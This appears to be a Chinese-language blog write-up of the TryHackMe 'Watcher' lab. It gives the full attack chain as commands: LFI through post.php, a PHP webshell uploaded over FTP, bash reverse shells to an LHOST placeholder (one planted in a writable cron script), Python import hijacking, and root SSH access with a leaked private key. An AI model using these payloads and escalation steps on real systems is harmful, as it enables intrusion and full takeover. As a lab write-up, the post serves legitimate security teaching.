> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe — Watcher 通關筆記:一場關於「可寫檔案」的變奏曲
- URL: https://taiwanding.com/tryhackme-watcher-tong-guan-bi-ji-yi-chang-guan-yu-ke-xie-dang-an-de-bian-zou-qu/
- Published: 2026-07-30T07:11:11.000Z
- Updated: 2026-08-04T06:19:12.000Z
- Author: Kevin Chen
- Tags: tryhackme, #medium, #LFI

Watcher 是一台中等難度的 Linux 靶機，表面看是七面旗子、四個使用者、一路爬到 root 的常見結構，但真正值得記下來的是它的設計主軸非常一致:**幾乎每一個提權點，都是「某個檔案我能寫，而別人會用更高的權限去碰它」，**同一個母題換了五種皮，從 Web 的 LFI 一路貫穿到 root 的 SSH 私鑰**，**同這篇把整條攻擊鏈拆開，重點放在「為什麼這樣判斷」，而不只是「打了哪條指令」。

先設好目標變數，後面每條指令都能重用:

```bash
export IP=<target-ip>

```

## 偵察:三個服務，一個明顯入口

第一步永遠是全埠掃描，先摸清楚攻擊面:

```bash
nmap -p- --min-rate 5000 -T4 -oN nmap-allports.txt $IP
nmap -sC -sV -p 21,22,80 -oN nmap-detail.txt $IP

```

結果收斂成三個服務:

```
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.41 (Jekyll v4.1.1, title "Corkplacemats")

```

FTP 是最直接的入口候選，但 SSH 沒有現成憑證、Web 又是重點，所以策略是「FTP 與 Web 兩路並行探」，FTP 匿名登入先試一次:

```bash
ftp -inv $IP <<'EOF'
user anonymous anonymous
ls -la
bye
EOF

```

回應是 `530 Login incorrect`，匿名不通，焦點轉向 Web。

## Web 列舉:robots.txt 送出第一面旗

目錄爆破一次到位，常見副檔名都掃:

```bash
feroxbuster -u http://$IP/ -x php,html,txt

```

幾個關鍵命中:

- `flag_1.txt`(200)
- `post.php`(會吃參數的頁面)
- `robots.txt`
- `secret_file_do_not_read.txt`(403)
- `images/`(開了目錄列表)

先把散落的線索一次抓齊:

```bash
curl -s http://$IP/flag_1.txt; echo
curl -s http://$IP/robots.txt; echo

```

`flag_1.txt` 直接就是第一面旗:

```
FLAG{Redacted}

```

而 `robots.txt` 裡把兩個「不希望被索引」的路徑大方地列了出來 —— 這正是 robots.txt 的經典反效果，它本意是擋爬蟲，實務上卻常常變成敏感路徑的索引:

```
User-agent: *
Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt

```

## LFI:從檔名猜參數，一條 curl 賭中

`post.php` 直接 curl 只回一個空的 `<main>`，渲染出空白，一個「應該要有內容」的頁面卻渲染空白，幾乎就是在說:**我在等一個參數，而你還沒給對**。

參數名怎麼猜?三個訊號疊在一起:頁面叫 `post.php`、站台是 Jekyll(部落格產生器)、整站圍繞文章打轉，開發者取參數名十之八九跟功能同名，所以先花「一條 curl」的成本賭 `post`，同時直接測本地檔案包含(LFI):

```bash
curl -s "http://$IP/post.php?post=/etc/passwd"

```

`/etc/passwd` 整份被 include 進頁面 —— **LFI 確認**，若這條沒中，再用 ffuf 兜底 fuzz 參數名即可(這次 ffuf 也在 `post` 命中，兩邊互相印證):

```bash
ffuf -u "http://$IP/post.php?FUZZ=/etc/passwd" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -fs 2422 -mc all

```

`-fs 2422` 是把空頁面的長度過濾掉，只留「參數有作用、內容變長」的回應。

從 `/etc/passwd` 撈出有 shell 的真人使用者:**will、mat、toby、ubuntu**，還有一個呼應 FTP 服務的 **ftpuser**。

有了 LFI，先做兩件事:繞過那個 403 讀祕密檔，以及用 `php://filter` 把原始碼撈出來檢查，祕密檔裡躺著一段留言:

> Hi Mat， The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files. Will ftpuser:givemefiles777

一組明碼 FTP 憑證 `ftpuser:givemefiles777`，外加一個關鍵情報:上傳的檔案會落在 `/home/ftpuser/ftp/files`。

## FTP + LFI 串接:上傳 Webshell 拿 www-data

先登入 FTP 摸清目錄結構:

```bash
ftp -inv $IP <<'EOF'
user ftpuser givemefiles777
ls -la
cd files
put test.txt
ls -la
bye
EOF

```

登入後直接落在 `/home/ftpuser/ftp/`，這一層有第二面旗 `flag_2.txt`，以及一個擁有者為 ftpuser、**我方可寫** 的 `files/` 目錄。

第二面旗:

```
FLAG{Redacted}

```

真正的殺招在這裡:**FTP 寫得進 `files/`，而 LFI 讀得到絕對路徑**，把兩者接起來，就能用瀏覽器讓 `post.php` 去 include 我們上傳的 PHP 檔並執行它，。先驗證兩邊指到同一個地方:

```bash
curl -s "http://$IP/post.php?post=/home/ftpuser/ftp/files/test.txt"

```

上傳的檔案內容如實回顯 —— 利用鏈成立，接著把測試檔換成極簡 webshell:

```bash
echo '<?php system($_GET["cmd"]); ?>' > shell.php
ftp -inv $IP <<'EOF'
user ftpuser givemefiles777
cd files
put shell.php
bye
EOF

curl -s "http://$IP/post.php?post=/home/ftpuser/ftp/files/shell.php&cmd=id"

```

回應 `uid=33(www-data)`，RCE 確認，接著彈一個穩定的 reverse shell 回來，比在 URL 裡一條條打指令好操作:

```bash
# listener
nc -lvnp 4444

# 觸發(把 LHOST/LPORT 換成自己的)
curl -s "http://$IP/post.php?post=/home/ftpuser/ftp/files/shell.php&cmd=$(python3 -c 'import urllib.parse;print(urllib.parse.quote("bash -c \"bash -i >& /dev/tcp/LHOST/4444 0>&1\""))')"

```

進 shell 後先升級 TTY，後面 `sudo`、`su` 才好用:

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z → stty raw -echo; fg → Enter
export TERM=xterm

```

Web 根目錄裡有一個藏第三面旗的目錄 `more_secrets_a9f10a/`:

```bash
cat /var/www/html/more_secrets_a9f10a/flag_3.txt

```

```
FLAG{Redacted}

```

## 橫向移動一:sudo -l 直接給答案(→ toby)

站穩 www-data 後，第一件該做的事永遠是 `sudo -l` —— 它常常直接把下一跳寫在臉上:

```bash
sudo -l

```

```
User www-data may run the following commands:
    (toby) NOPASSWD: ALL

```

www-data 可以免密碼、以 **toby** 身分執行任何指令，注意要切的是 toby 而不是 root(`sudo su` 切 root 會要密碼被擋)，語法是指定使用者:

```bash
sudo -u toby /bin/bash
id
cat /home/toby/flag_4.txt

```

```
uid=1003(toby) ...
FLAG{Redacted}

```

## 橫向移動二:可寫的 cron 腳本(→ mat)

toby 家目錄有 `note.txt` 和 `jobs/` 兩個物件，note 是劇情提示，說 Mat 設好了 cron job;`jobs/` 這名字則強烈暗示定時任務。看內容:

```bash
cat /home/toby/note.txt
ls -la /home/toby/jobs/
cat /home/toby/jobs/cow.sh

```

`cow.sh` 屬於 toby、**且 toby 可寫**(`-rwxr-xr-x ... toby toby`)，內容只是複製一張圖，關鍵是「這支腳本由誰執行」，不靠猜，直接翻系統 crontab 找證據:

```bash
cat /etc/crontab

```

最後一行給了答案:

```
*/1 * * * * mat /home/toby/jobs/cow.sh

```

**mat 每分鐘執行一次這支 toby 可寫的腳本** —— 這就是橫向到 mat 的機關。把腳本武器化，塞一個彈給 mat 的 reverse shell:

```bash
# listener(換個 port)
nc -lvnp 5555

# 覆寫腳本(在 toby shell)
cat > /home/toby/jobs/cow.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/LHOST/5555 0>&1
EOF
chmod +x /home/toby/jobs/cow.sh

```

最多等 60 秒，mat 的 shell 就會掉進 listener，第五面旗在 mat 家目錄:

```bash
cat /home/mat/flag_5.txt

```

```
FLAG{Redacted}

```

## 橫向移動三:Python Library Hijacking(→ will)

mat 的 `sudo -l` 給了一條更精緻的規則:

```
(will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

```

mat 能以 **will** 身分執行這支 Python 腳本，且結尾的 `*` 代表可帶任意參數。讀腳本內容:

```python
import os
import sys
from cmd import get_command
cmd = get_command(sys.argv[1])
whitelist = ["ls -lah", "id", "cat /etc/passwd"]
if cmd not in whitelist:
        print("Invalid command!")
        exit()
os.system(cmd)

```

漏洞是 `from cmd import get_command` —— 這是自訂模組，。Python 會照搜尋路徑找 `cmd.py`，而**惡意程式碼在 `import` 當下就執行**，根本輪不到 whitelist 檢查。whitelist 因此完全形同虛設。

這裡有一個很容易翻車的細節，值得特別記下來:**當用「腳本檔」執行 Python 時，`sys.path[0]` 是「腳本所在的目錄」，而不是當前工作目錄(cwd)**，一開始若把惡意 `cmd.py` 放在 `/tmp` 再從 `/tmp` 執行，是不會被載入的 —— 因為 Python 優先找的是 `will_script.py` 所在的 `/home/mat/scripts/`，而 mat 正好是這個目錄的擁有者，寫得進去:

```bash
printf '%s\n' 'import os' 'def get_command(x):' '    os.system("/bin/bash")' '    return "id"' > /home/mat/scripts/cmd.py

sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py anything
id

```

Python 一 `import cmd` 就先撞到我們的版本，`os.system("/bin/bash")` 在 import 當下以 will 身分開 shell。第六面旗在 will 家目錄:

```bash
cat /home/will/flag_6.txt

```

```
FLAG{Redacted}

```

## 提權到 root:別被誘餌帶偏，回到證據

到 will 這裡有一個容易走岔的地方，will 家目錄有個 `.config/lxc/`，裡面是 `config.yml` 和 `cookies`，很自然會聯想到經典的 **LXD 容器逃逸**，但 `lxc list` 回 permission denied，而查 `id` 會發現:

```
uid=1000(will) gid=1000(will) groups=1000(will),4(adm)

```

**will 的群組只有 `will` 和 `adm`，並不在 `lxd` 群組**，沒有 lxd 群組資格就操作不了那個 socket，那些 lxc 檔案是誘餌或殘留，這裡的教訓是:**看到關鍵字先別衝，用 `id` 確認群組資格再決定打法**。

回到系統化的提權列舉，把常見面向掃一遍:

```bash
find / -perm -4000 -type f 2>/dev/null        # SUID
getcap -r / 2>/dev/null                        # capabilities
sudo -n -l 2>/dev/null                          # 免密碼 sudo
cat /etc/crontab; ls -la /etc/cron.d/           # 定時任務

```

SUID、capabilities、cron 全是系統預設，沒有 GTFOBins 提權點，真正的鑰匙來自「will 或 adm 群組可寫的位置」這個角度 —— 呼應整台機器的母題:

```bash
find / -group adm -writable 2>/dev/null

```

```
/opt/backups
/opt/backups/key.b64

```

`/opt/backups/` 對 adm 群組可寫，裡面有一個 `key.b64`，看內容:

```bash
cat /opt/backups/key.b64
base64 -d /opt/backups/key.b64 | head -n 1

```

解碼後開頭是 `-----BEGIN RSA PRIVATE KEY-----` —— 一把放在 root 名下備份目錄的 **RSA 私鑰**，幾乎肯定就是 root 的 SSH 金鑰。把它拉回本機，設好權限，直接登入:

```bash
# 在本機
base64 -d key.b64 > root_key
chmod 600 root_key
ssh -i root_key -o StrictHostKeyChecking=no root@<target-ip>

```

```bash
id       # uid=0(root)
cat /root/flag_7.txt

```

第七面旗，收尾呼應房間名 Watcher:

```
FLAG{Redacted}

```

## 回顧:同一個母題的五種變奏

整條鏈路串起來，設計意圖非常清楚 —— **「某個我能寫/能讀的東西，別人會以更高的權限去碰它」**，反覆出現:

1. **robots.txt** — 資訊洩漏送出第一面旗
2. **LFI(`post.php?post=`)** — 讀 `/etc/passwd`、撈出 FTP 明碼憑證
3. **FTP 上傳 × LFI 包含** — 兩個中低風險問題串成 www-data RCE
4. **`sudo -u toby`** — NOPASSWD 規則直接橫向
5. **可寫的 cron 腳本 `cow.sh`** — mat 定時替我們執行
6. **Python library hijacking** — `cmd.py` 放在腳本所在目錄劫持 import
7. `**/opt/backups/key.b64**` — adm 群組可讀的 root 私鑰 → `ssh root`